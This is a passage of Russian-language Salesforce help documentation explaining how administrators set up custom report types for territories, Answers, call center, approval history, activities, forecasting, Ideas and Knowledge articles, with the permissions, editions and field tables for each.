результатамотчетов, созданныхнаосноветиповнастраиваемыхотчетов, содержащихтерритории, неподдерживает
значения «Несколько территорий» и «Без территории».

Советы по использованию отчетов по территориям

• Отчетыпотерриториямподдерживаютстандартныеинастраиваемыеполя территорий. Крометого, данныеполя
доступны в отчетах по организациям, отчетах по действиям, содержащиморганизации, отчетах по возможностям
и отчетах по пользователям.

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничение результатов отчета

Отчетыпоответам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Функция «Ответы» доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Чтобы разрешить пользователям анализ вопросов, ответов и голосов, создайте типы
настраиваемых отчетов.

Прим.: Начиная с выпуска Summer'13 функция «Ответы» недоступна для новых
организаций. ТеперьпользователямдоступнафункцияChatter Answers (сообщество
по поддержке и самообслуживанию, позволяющее пользователям публиковать
вопросы, а также получать ответы и комментарии от других пользователей или
агентов службы поддержки). Функция Chatter Answers предоставляет комплексный
доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge. Текущие
организации могут использовать функцию «Ответы», включенную до выпуска
Summer'13, в обычном режиме.

Чтобыпредоставитьпользователямвозможностьсозданияотчетовповопросам, ответам
и голосам, администратор организации может создать типы настраиваемых отчетов.
Типынастраиваемыхотчетов — это единственныйспособпредоставитьпользователям
доступ к отчетам сообщества ответов; система Salesforce не предоставляет образцов
отчетов или стандартной папки отчетов по ответам.

Чтобысоздатьпапкуотчетовпоответам, доступнуюпользователям, выполнитеуказанные
ниже действия.

1. Настройте тип настраиваемого отчета для ответов.

• Основной объект отчета: «Вопросы».

• Ввиду отсутствия специальной категории отчетов, отчеты по ответам могут
храниться в категории «Другие отчеты» или «Административные отчеты».
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• При настройке взаимосвязей объект «Вопросы» может быть связан с объектом «Ответы», а объект «Ответы» с
объектом «Голоса».

2. Создайтеобщедоступнуюпапкудляотчетовпоответам. Данноедействиедоступнотолькоприналичииполномочия
«Управление общедоступными отчетами».

3. Используя типнастраиваемогоотчета, создайте какминимумодиннастраиваемыйотчетпоответам. Назначьтеотчеты
созданной папке отчетов по ответам.

После выполнения данных действий папка отчетов по ответам доступна пользователям на начальной странице отчетов.

СМ. ТАКЖЕ:

Предоставление доступа к данным посредством отчетов

Отчеты Salesforce CRM Call Center

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для запуска отчетов:
• «Запуск отчетов»

И

«Чтение» для записей,
добавленных в отчет

Отчеты центра обработки вызовов помогают анализировать телефонные вызовы
Salesforce CRM Call Center, обработанные текущимпользователем и его рабочей группой.

Специальные функции отчетов центра обработки вызовов

Ниже перечислены рекомендации по запуску отчетов, связанных с использованием
центров обработки вызовов.

Стандартные отчеты

• Отчет «Вызовы моей рабочей группы на этой неделе» содержит сведения о
вызовах, обработанных участниками рабочей группы за последнюю неделю,
включая связанные записи и результаты каждого вызова.

• Отчет «Мои вызовы сегодня» содержит сведения о собственных входящих или
исходящих вызовах за текущий день, включая связанные записи и результаты
каждого вызова.

• Отчет «Моивызовынаэтойнеделе» содержитсведенияособственныхвходящих
или исходящих вызовах за последнюю неделю, включая связанные записи и
результаты каждого вызова.
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Создание типанастраиваемогоотчета дляжурнала утверждений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Прежде чем запустить отчеты по выполненным или выполняемым процессам
утверждения и их этапам, рекомендуем создать тип настраиваемого отчета для
экземпляров процесса утверждения.

1. В разделе «Настройка» введите «Типы отчетов» в поле «Быстрый поиск», затем
выберите «Типы отчетов».

2. Нажмите кнопку «Создать тип настраиваемого отчета».

3. Заполните поля.

ДействияПоле

Выберитеобъект «Экземплярпроцесса».

Экземпляр процесса — это один
экземплярпроцессаутверждения. Новый
экземпляр процесса создается при
каждойотправке записина утверждение.

Основной объект

Введите метку. Данная метка
отображается пользователям при
создании отчетов.

Пример: «Экземпляры процесса
утверждения».

Метка типа отчета

Введите уникальноеимядля типаотчета.Имя типа отчета

Введите описание. Данная метка
отображается пользователям при
создании отчетов.

Описание

Выберите категорию
«Административные отчеты».

При необходимости выберите другую
категорию. Данныйпараметропределяет

Сохранить в категории

папку, предназначенную для хранения
типа настраиваемого отчета.

Чтобыпредоставитьвсемпользователям
доступ к типу отчета, установите
переключатель «Развернуто».

Статус развертывания

4. Нажмите кнопку «Далее».

5. Щелкните поле под основным объектом.

6. Выберите объект «Узел экземпляра процесса».

Узел экземплярапроцесса — это экземплярэтапа утверждения. Новыйузел экземплярапроцесса создаетсяприкаждом
входе записи на этап процесса утверждения. Если запись не соответствует критериям этапа или экземпляр процесса
утверждения выполняется без входа на этап, то узел экземпляра процесса не создается.
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7. Выберите один из указанных ниже параметров взаимосвязи.

ОписаниеПараметр

Отчет включает только экземпляры процесса, которые входят как
минимум на один этап утверждения для создания узла экземпляра
процесса.

Отчет исключает экземпляры процесса для записей, отправленных на
утверждение, но не соответствующих заданным критериям этапа.

Каждая запись "А" должна иметь как
минимум одну связанную запись "B".

Отчет включает все экземпляры процесса.Записи "А" могут иметь или не иметь
связанные записи "В".

8. Нажмите кнопку «Сохранить».

Чтобы разрешить пользователям создание и выполнение отчетов по журналам утверждений, рекомендуем развернуть
созданный тип отчета и сообщить соответствующим пользователям имя типа настраиваемого отчета и название папки
категории.

Отчеты, доступныедля действий

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

Запуск стандартных или настраиваемых отчетов, в которых отображаются сведения о
задачах или событиях и связанных с ними контактах, организациях, потенциальных
клиентах, а также другие связанные записи.

Рекомендуемый отчетПросматриваемые
сведения

Щелкните «Создать настраиваемый отчет» на вкладке
«Отчеты» и выберите тип отчета «Действия».

Действия, связанные
с другим типом
записей, например с
коммерческими
возможностями

Отчеты по действиям. Добавьте столбец «Количество связей»
в отчеты.

Например, пользователь создает задачу с пятью контактами.
При выполнении отчета «Задачи и события» данный столбец

Количество
контактов, связанных
с действием

содержит значение «5», соответствующееколичеству контактов,
связанных с задачей.

Отчет «Действия с контактами». Выберите как минимум одно
поле объекта «Контакт».

Например, отчет содержит задачу с пятью контактами. При
добавлении поля контакта «Фамилия» в отчет, отображаются

Строки контактов
для каждого
действия

пять строк, связанных с даннымдействием (поодной строке для
каждого контакта). В случае отсутствия полей контакта
отображается всего одна строка для действия.
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Рекомендуемый отчетПросматриваемые
сведения

Отчет «Действия с контактами» — это единственный отчет, который...

• отображает все контакты действия;

• может быть отфильтрован посредством атрибутов неосновных контактов.

Другие отчеты отображают основной контакт и общее количество контактов действия,
но не содержат сведений о других контактах.

Отчет «Действия с контактами» не позволяет определять основные и дополнительные
контакты.

Отчет «Задачи и события» или «Действия с обращениями».

Например, полеотчета «Контакт» содержитимяИванПетров, еслиданныйпользователь
является основным контактом задачи.

Основной контакт действия
в двух отчетах: «Задачи и
события» и «Действия с
обращениями».

Основнойконтакт такжеотображается вполе «Имя» на страницесведенийозадачеили
событии.
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Составлениеотчетовпо встречам торговыхпредставителей с клиентами

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Contact Manager,
Personal, Group,
Professional, Enterprise,
Performance, Unlimited и
Developer

Доступно в Salesforce
Classic в следующих
версиях: Все версии, кроме
Database.com.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Для просмотра действий,
принадлежащих текущему
и подчиненным
пользователям в иерархии
ролей:
• Полномочия не

требуются

Для просмотра всех
действий:
• «Просмотр всех данных»

Просмотритераспределениерабочего временисотрудникамиотделапродаж. Создайте
настраиваемый отчет, в котором содержится информация о том, какие торговые
представители занимаются обслуживанием.

1. Создайте тип настраиваемого отчета.

a. Выберите объект «Пользователи» в качестве основного.

b. Заполните оставшиеся обязательные поля: метка, описание и категория.

c. Нажмите кнопку «Далее».

2. Определите взаимосвязь между действиями и пользователями.

a. Свяжите объект «Взаимосвязи действия» с объектом «Пользователи».

b. Нажмите кнопку «Сохранить».

3. Определите поля, отображаемые в данном типе отчета.

a. Нажмите кнопку «Редактировать макет» в разделе «Поля, доступные для
отчетов».

b. Добавьте следующие поля «Взаимосвязи действия» в макет: «Дата», «Тема»,
«Имя», «Связано с» и «Количество связей».

c. Измените метку для поля «Имя» на значение «Контакт», а метку для поля
«Связано с» на значение «Потенциальный клиент».

d. Выберите опцию отображения каждого поля по умолчанию.

e. Нажмите кнопку «Сохранить».

4. Создайте отчет.

a. Откройте вкладку «Отчеты» и выберите тип отчета, созданный в действиях 1–3.

b. ВыберитеСводныйформат и создайте группировку по полному имени.

c. Выполните и сохраните отчет.

Созданный отчет может использоваться для оптимизации рабочего времени, которое
тратится группами сбыта на обслуживание клиентов.

Прим.: Если организация не использует функцию «Общедоступные действия»,
то настраиваемые отчеты на основе объекта «Взаимосвязи действия» не содержат
организаторов событий и приглашенных, а также не отображают события без
приглашенных.

СМ. ТАКЖЕ:

Создание типа настраиваемого отчета

Создание макета поля для отчетов, созданных на основе типа настраиваемого отчета

Создание отчета

Создание настраиваемого отчета
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Создание типанастраиваемыхотчетовпрогнозирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
неотносятся кфункции «Настраиваемыепрогнозы». Созданиетипанастраиваемых
отчетов прогнозирования доступно только при использовании продукта
«Совместные прогнозы».

Чтобыпредоставитьпользователямдоступкотчетупрогнозирования, администраторы
должны создать тип настраиваемых отчетов. Тип отчета определяет набор записей и
полей, доступныхвотчете, исходяизвзаимосвязеймеждуосновнымисвязаннымисним
объектами. Вотчетахотображаютсятолькоте записи, которыесоответствуюткритериям,
заданным в типе отчета.

1. Начнитесоздавать типнастраиваемогоотчета вменю «Настройка». Дляэтоговведите
«Типы отчетов» в поле «Быстрый поиск», затем выберите «Типы отчетов» и
«Создать тип настраиваемого отчета».

2. Выберите объект прогнозирования (например, «Элементы прогнозирования» или
«Планы продаж для прогнозирования») в качестве основного.

3. Выберите значение «Прогнозы» в поле «Сохранить в категории».

Сообщите пользователям папки, содержащие развернутые типы отчетов, и их имена.

Типынастраиваемыхотчетовпрогнозирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Типотчетаопределяетнаборзаписейиполей, доступныхвотчете, исходяизвзаимосвязей
между основным и связанными с ним объектами. В отчетах отображаются только те
записи, которые соответствуют критериям, заданным в типе отчета.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
неотносятся кфункции «Настраиваемыепрогнозы». Созданиетипанастраиваемых
отчетов прогнозирования доступно только при использовании продукта
«Совместные прогнозы».

Чтобы просмотреть доступные типы настраиваемых отчетов прогнозирования,
воспользуйтесь таблицей ниже.

Использовать для создания отчета по...Основной объект

Просмотр информации о суммах прогнозирования, в том числе
информацииокорректируемойсумме. Еслипрогнозсоставляется
наосноведохода, рекомендуемиспользоватьперечисленныениже
стандартные поля типа отчета.

Элементы
прогнозирования

• «Только стоимость ответственного»: сумма всех
возможностейдоходапользователя (безпоправок).Например,
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Использовать для создания отчета по...Основной объект

при наличии двух возможностей стоимостью 10 000 рублей каждая поле «Только
стоимость ответственного» отображает значение «20 000 рублей».

• «Стоимостьбезпоправок»: суммавсехсобственныхвозможностейдоходапользователя
и возможностей его подчиненных (без поправок). Подчиненные — это сотрудники,
расположенные ниже пользователя в иерархии прогнозов.Например, если общая
стоимость всех собственныхвозможностейсоставляет 20 000 рублей, аобщая стоимость
возможностей подчиненных — 55 000 рублей, то поле «Стоимость без поправок»
отображает значение 75 000 рублей.

• «Стоимость без поправки менеджера»: показатель прогноза, отображаемый
ответственному за прогноз. Показатель прогноза — это сумма возможностей дохода
ответственного и его подчиненных, включая поправки, внесенные ответственным в
собственные прогнозы или прогнозы подчиненных. Данный показатель не включает
поправки, внесенные вышестоящимименеджерамипрогнозов в иерархиипрогнозов.Например, поле
«Стоимость без поправок» отображает Анне значение «75 000 рублей», из которых
20 000 рублей — это стоимость ее собственных возможностей, а 55 000 рублей — это
стоимость возможностей, принадлежащих ее подчиненномуИвану. Анна увеличивает
стоимость возможностейИвана до 65 000 рублей; приэтомобщая стоимость возрастает
до 85 000 рублей. ЕслименеджерАнныувеличиваетобщуюстоимостьдо 100 000 рублей,
то поле «Стоимость без поправки менеджера» содержит значение «85 000 рублей»,
так как Анне недоступны поправки, внесенные ее менеджером. Чтобы просмотреть
стоимость с поправкой менеджера, воспользуйтесь полем «Стоимость прогноза»,
отображающим значение «100 000 рублей».

• «Стоимость прогноза»: прогноз по доходу из перспективы менеджера прогнозов и
суммавозможностейответственногоиегоподчиненных, включаявсепоправкипрогноза.
Например, менеджеру прогнозов подчиняется другой менеджер прогнозов, в поле
«Стоимостьбезпоправкименеджера» которогоотображается значение «85 000 рублей».
Если вышестоящий менеджер увеличивает стоимость прогноза до 100 000 рублей, то
поле «Стоимость прогноза» отображает значение «100 000 рублей».

Еслипрогнозсоставляетсянаосновеколичества, рекомендуемиспользоватьперечисленные
ниже стандартные поля типа отчета.

• «Только количество ответственного», «Количество без поправок», «Количество
без поправок менеджера» и «Количество прогноза»

Добавьте следующиеполянезависимоот того, наосновечего выпрогнозируете (наоснове
доходов или количества).

• «Содержит поправку», флажок, который указывает, сделана ли менеджером
корректировка по сумме владельца прогноза.

• «Содержит поправку ответственного», флажок, который показывает, сделал ли
пользователь прогноза корректировку по собственной стоимости прогноза.

Есливашаорганизацияиспользуетпроведениенакопленногопрогноза, добавьте этополе
в отчет:

• ForecastingItemCategory — этополеуказывает, какпроходиткаждаястоимостьпрогноза:
Open Pipeline, Best Case Forecast, Commit Forecast, Closed Only, Pipeline, Best Case, Commit или
Closed. Если ваша организация изменила имена категорий прогноза, эти изменения
также появляются в значениях ForecastingItemCategory.
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Использовать для создания отчета по...Основной объект

Просмотр сведений о возможности для отдельных элементов строки прогнозирования.
Например, пользователь может создать сводный отчет для каждого подчиненного,

Элементы
прогнозирования, если

содержащий имена возможностей, даты последних действий над элементами
прогнозирования, сведения о поправках и итоговые стоимости прогнозов.

объект «Возможности»
используется в качестве
связанного Прим.: При наличии возможностей без продуктов данный тип отчета содержит

2 элемента прогнозирования: один для типа прогноза «Возможность — Доход» и
один для типа прогноза «Группа продуктов». Данные элементы прогнозирования
сводятся в строке «Продукты не указаны» прогноза по группе продуктов.

Просмотрсведенийодоливозможностидляотдельныхэлементовстрокипрогнозирования.
Например, пользователь может создать сводный отчет для каждого подчиненного,

Элементы
прогнозирования, если

содержащийстоимостиипроцентыдолейвозможностидляегоэлементовпрогнозирования,
а также сведения о поправках и итоговые стоимости прогнозов.

объект «Доли
возможности»
используется в качестве
связанного

Просмотрсведенийо группепродуктовдляотдельныхэлементовстрокипрогнозирования.
Например, пользователь может создать сводный отчет для каждого подчиненного,

Элементы
прогнозирования, если

содержащий группы продуктов и итоговую цену для его элементов прогнозирования, а
также сведения о поправках и итоговые стоимости прогнозов.

объект «Продукт
возможности»
используется в качестве
связанного

Прим.: Данныйтипотчетаотображает элементыпрогнозированиятолькодля типов
прогнозов «Группа продуктов: доход» и «Группа продуктов: количество». Он
охватывает возможности, которые содержат и не содержат продукты.

Просмотр данных об индивидуальных или групповых планах продаж. Рекомендуем
использовать все стандартные поля типа отчета. Например, отчет может быть дополнен

Планы продаж для
прогнозирования

полями поиска (например, полное имя ответственного). Чтобы просмотреть собственные
планы продаж и связанные организации или ответственных, отфильтруйте результаты
выполненного отчета по собственному имени.

Просмотрвыполненияпланапродаж. Например, чтобысоздать типнастраиваемогоотчета,
воспользуйтесьобоимиобъектами «Планы продаж для прогнозирования» и «Элементы

Планы продаж для
прогнозирования, если

прогнозирования». При создании отчета добавьте планы продаж рабочей группы иобъект «Элементы
прогнозируемый доход для закрытых прогнозов, а также создайте поле формулы для
отображения выполненного процента плана продаж.

прогнозирования»
используется в качестве
связанного
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Отчетыпоидеям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Чтобы разрешить пользователям создание отчетов по идеям, комментариям и голосам,
рекомендуем создать типы настраиваемых отчетов.

Чтобы разрешить пользователям анализ идей, администратор может создать типы
настраиваемых отчетов. Типы настраиваемых отчетов — это единственный способ
предоставить пользователям доступ к отчетам по идеям; система Salesforce не
предоставляет образцов отчетов или стандартной папки отчетов по идеям.

Чтобысоздатьпапкуотчетовпоидеям, доступнуюпользователям, выполните указанные
ниже действия.

1. Создайте тип настраиваемого отчета для идей.

При создании типа настраиваемого отчета, где «Идеи» используются в качестве
основного объекта, а «Голоса» — в качестве второстепенного, дочерние
(объединенные) идеиотображаютсявотчететолькопослеустановкифлажка «Записи
"А" могут иметь или не иметь связанные записи "В"». Голоса, принадлежащие
дочерним идеям, переносятся в основную идею. Другими словами, если объект
«Голоса» является обязательным, то дочерние идеи не отображаются в отчете.

2. Создайте общедоступную папку для отчетов по идеям. Данное действие доступно
только при наличии полномочия «Управление общедоступными отчетами».

3. Используя тип настраиваемого отчета, создайте как минимум один настраиваемый
отчет по идеям. Назначьте отчеты созданной папке отчетов по идеям.

После выполнения данных действий папка отчетов по идеям доступна пользователям
на начальной странице отчетов.
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Составлениеотчетовпо статьям Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для создания
общедоступной папки
отчетов:
• «Управление

общедоступными
отчетами»

НастраиваемыеотчетыSalesforce Knowledgeпозволяютотслеживатьпроцессысоздания,
управления и доставки статей.

ЧтобыпредоставитьпользователямвозможностьсозданияотчетовпостатьямSalesforce
Knowledge, администратор организации может создать типы настраиваемых отчетов.
Типынастраиваемыхотчетов — это единственныйспособпредоставитьпользователям
доступ к отчетам по статьям; система Salesforce не предоставляет образцов отчетов или
стандартной папки отчетов по статьям.

Совет: Пакет «Отчеты и панели мониторинга базы знаний» из каталога AppExchange
содержитболее 20 отчетов, позволяющихотслеживатьианализироватьпоказатели
использования базы знаний.

1. Создание папки для отчетов по статьям
Чтобы предоставить пользователям доступ к отчетам по статьям, создайте
общедоступную папку.

2. Отчеты по статьям
Чтобы составить отчет по данным статьи Salesforce Knowledge, создайте тип
настраиваемых отчетов.

3. Создание отчета по статьям
Выполненный настраиваемый отчет по статьям Salesforce Knowledge может быть
сохранен в папку отчетов по статьям.

4. Поля отчетов Salesforce Knowledge

Поля, доступные для использования в отчете по базе знаний, определяются типом
данных, используемых для составления отчетов.

Создание папки для отчетов по статьям

4035

ОтчетыAnalytics



ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для создания
общедоступной папки
отчетов:
• «Управление

общедоступными
отчетами»

Чтобы предоставить пользователям доступ к отчетам по статьям, создайте
общедоступную папку.

Чтобы предоставить пользователям доступ к отчетам по статьям, создайте
общедоступную папку.

1. Щелкните ссылку «Создать новую папку» в разделе «Папки отчетов» вкладки
«Отчеты».

2. Введите «Отчеты по статьям» в поле «Метка папки».

3. При необходимости измените значение поля «Уникальное имя группы».

4. Выберите значение для параметра «Доступ к общедоступной папке».

Чтобыразрешить пользователям добавлениеи удаление отчетов, выберите уровень
доступа «Для чтения и записи».

5. Выберите параметры доступности папки.

6. Нажмите кнопку «Сохранить».

Отчеты, сохраненные в данную папку, доступны на вкладке «Отчеты».

Отчеты по статьям
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ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для создания
общедоступной папки
отчетов:
• «Управление

общедоступными
отчетами»

ЧтобысоставитьотчетподаннымстатьиSalesforce Knowledge, создайтетипнастраиваемых
отчетов.

Чтобы создать настраиваемый отчет, выполните указанные ниже действия.

1. В меню «Настройка» введите «Типы отчетов» в поле «Быстрый поиск», затем
выберитеТипы отчетов ищелкните «Создать тип настраиваемого отчета».

См. Создание типа настраиваемого отчета на странице 492

2. Выберите нужный объект статьи в раскрывающемся меню «Основной объект».

ОписаниеОсновной объект

Сравните сведения (например, даты создания, каналы
публикации и количество связанных обращений) для
настраиваемого типа статьи (например, «Вопросы и
ответы»). Чтобы получить доступ к журналам и
настраиваемымполямдлянастраиваемоготипа статьи,
обязательно добавьте версию типа статьи в качестве
дополнительного объекта.

Типы статей и журнал
версии статьи

Сравните сведения об отдельных статьях (например,
даты создания, каналы публикации и количество
связанных обращений). При выборе данного типа
настраиваемых отчетов пользователи могут добавить
статистикипо голосованиюипросмотру статей. Если
отчет использует основной объект «Статьи базы
знаний», то каждой статье соответствует пять записей
(строк): по одной записи на каждый канал («Все
каналы», «Внутреннее приложение», «Клиент»,
«Партнер» и «Общедоступная база знаний»).

Статьи базы знаний

Проанализируйте количество поисков за день, месяц
или год по каждому каналу и роли.

Поиски статьи базы
знаний

Сравнитесведенияоботдельныхпереводах (например,
даты создания, каналы публикации и количество

Версиястатьибазызнаний

связанных обращений). При выборе данного типа
настраиваемых отчетов пользователи могут добавить
статистики по голосованию и просмотру статей.

Проанализируйте количество просмотров за день,
месяц или год по каждому каналу и роли.

Просмотры статьи базы
знаний

Проанализируйте количество голосов за день, месяц
или год по каждому каналу и роли.

Голосования по статье
базы знаний

Просмотрите ключевые слова, используемые для
поиска по базе знаний.

Поиск ключевых слов по
базе знаний

Действие поиска по базе
знаний

• Проанализируйте количество поисков за день,
месяц или год по каждому каналу и языку.

• Для каждого поиска просмотрите:
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Дата–

– Код и заголовок выбранной статьи

• Просмотрите ключевые слова, используемые для поиска побазе знаний.

• Для каждого ключевого слова просмотрите среднее количество:

– Результаты

– Статьи, отображающиеся в результатах поиска

• Для каждой статьи просмотрите среднее количество:

– Щелчки

– Уникальные пользователи, выбравшие данную статью

3. Заполните обязательные поля и нажмите кнопку «Сохранить».

Выберите значение «Отчеты службы поддержки» или «Другие отчеты» в раскрывающемся меню «Сохранить в
категории». Данная категория будет использоваться для хранения типа настраиваемых отчетов на вкладке «Отчеты».

4. Настройте нужные параметры на странице «Определить набор записей отчета».

Доступные дополнительные объектыОсновной объект

Версии типа статьиТипы статей и журнал версии статьи

Статистики просмотров статьи, Статистики голосования по
статье, Статья обращения

Статьи базы знаний

НетПоиски статьи базы знаний

Статистики просмотров статьи, Статистики голосования по
статье

Версия статьи базы знаний

НетПросмотры статьи базы знаний

НетГолосования по статье базы знаний

НетПоиск ключевых слов по базе знаний

НетДействие поиска по базе знаний

5. Нажмите кнопку «Сохранить».

6. При необходимости удалите или измените порядок отображения полей в макете отчета.

Дополнительную информацию о доступных полях для каждого основного объекта см. в разделе «Поля отчетов
Salesforce Knowledge» на странице 4039.

Создание отчета по статьям
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ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для создания
общедоступной папки
отчетов:
• «Управление

общедоступными
отчетами»

ВыполненныйнастраиваемыйотчетпостатьямSalesforce Knowledgeможетбытьсохранен
в папку отчетов по статьям.

Чтобысоздатьисохранитьотчетыпостатьямвпапкуотчетовпостатьям, воспользуйтесь
типами настраиваемых отчетов.

1. Нажмите кнопку «Создать отчет...» на вкладке «Отчеты».

2. Выберите нужную категорию (например, «Отчеты службы поддержки» или
«Другие отчеты»).

По умолчанию отчет «Обращения со статьями» доступен в папке «Отчеты службы
поддержки».

3. Найдите нужный тип отчета и нажмите кнопку «Создать».

4. Чтобы предоставить другим пользователям доступ к отчету, нажмите кнопку
«Сохранить как» при просмотре отчета и выберите новую папку «Отчеты по
статьям».

Прим.:

• Еслиотчетиспользует тип «Статьябазызнаний», токаждойстатье соответствует
не менее пяти строк (по одной строке для каждого канала, включая значение
«Все каналы»).

• Ежедневные значения попадают в отчеты независимо за последние 90 дней, а
ежемесячныезначения — запоследние 18 месяцев. Поистеченииэтихпериодов
необходимо воспользоваться сводным значением по месяцам и годам
соответственно.

• Еслиотчет использует тип «Голосованияпо статье базы знаний», «Просмотры
статьи базы знаний» или «Поиски статьи базы знаний», то каждая строка
отображает день, канал и роль. Например, если пользователь с ролью
«Влиятельное лицо» просматривает статьи во внутреннем приложении, а на
следующий день этот же пользователь просматривает во внутреннем
приложении большее количество статей, то отчет «Просмотры статьи базы
знаний» содержит две строки: по одной строке для каждой даты.

• Отчеты по версии статьи базы знаний, кроме журнала версии статьи базы
знаний, поддерживают фильтрацию по категории данных. Разрешается
добавлятьнеболеечетырехфильтрови задаватьихлогике значение "В", "НАД",
"ПОД" или "НАДИЛИПОД". Междуфильтрамидолжнаиспользоватьсялогика
"ИЛИ". Системапозволяетиспользовать одну группу категорийнесколькораз;
каждый раз должен использоваться один и тот же оператор.

• Для создания отчетов по процессам утверждения для статей баз знаний
воспользуйтесь «Экземпляром процесса» и «Узлом экземпляра процесса»
при создании типа настраиваемого отчета. Затем отфильтруйте отчет по
нужному типу объектов (тип статьи).

Поля отчетов Salesforce Knowledge
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ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для создания
общедоступной папки
отчетов:
• «Управление

общедоступными
отчетами»

Поля, доступные для использования в отчете по базе знаний, определяются типом
данных, используемых для составления отчетов.

Чтобыпросмотреть доступныеполяотчетов Salesforce Knowledgeпоосновномуобъекту,
воспользуйтесь таблицами ниже.

Доступные поля в типах статей и в отчетах журнала версии

Основной объект «Тип статьи» позволяет добавлять дополнительный объект «Версия
типа статьи».

Табл. 45: Поля основного объекта для отчетов по типам статей

ОписаниеПоле

Пользователь, добавивший статью в архив.Помещен в архив

Дата архивирования статьи.Дата архивирования

Уникальный номер, назначаемый статье автоматически.Номер статьи

Код, связанный с типом статьи.Код типа статьи

Количество обращений, вложенных в статью.Количество связей
обращения

Автор статьи.Создано

Датирование текущей версии статьи. Если статья
опубликовананесколькораз, тоотображаетсядатапоследнего
черновика. Для создания отчетов, использующих исходную
дату создания статьи, сначала создайте тип настраиваемого
отчета, объединяющий объекты Knowledge Article (__ka) и
Knowledge Article Version (__kav) дляданноготипастатьи, чтобы
можнобылоиспользовать созданнуюдату в записивобъекте
Knowledge Article, а не дату для записи в объекте Knowledge
Article Version.

Дата создания

Любые настраиваемые поля, созданные для типов статей.
Чтобы получить доступ к любым настраиваемым полям для

Настраиваемые поля

типа статьи, добавьте версию типа статьи в качестве
дополнительного объекта.

Дата первой публикации статьи.Дата первой
публикации

Номер версии статьи.Версия статьи базы
знаний

Пользователь, изменивший статью последним.Последнее изменение
сделано

Дата последнего изменения статьи. Дата последнего
изменения черновой статьи — это время сохранения

Дата последнего
изменения

черновика. Дата последнего изменения опубликованной
статьи — это время последней публикации статьи.
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ОписаниеПоле

Дата последней публикации статьи.Дата последней публикации

Исходный язык статьи.Основной язык

Прим.: В настоящее время поля «Версия статьи базы знаний» и «Дата последнего изменения» не могут
использоваться в одном отчете.

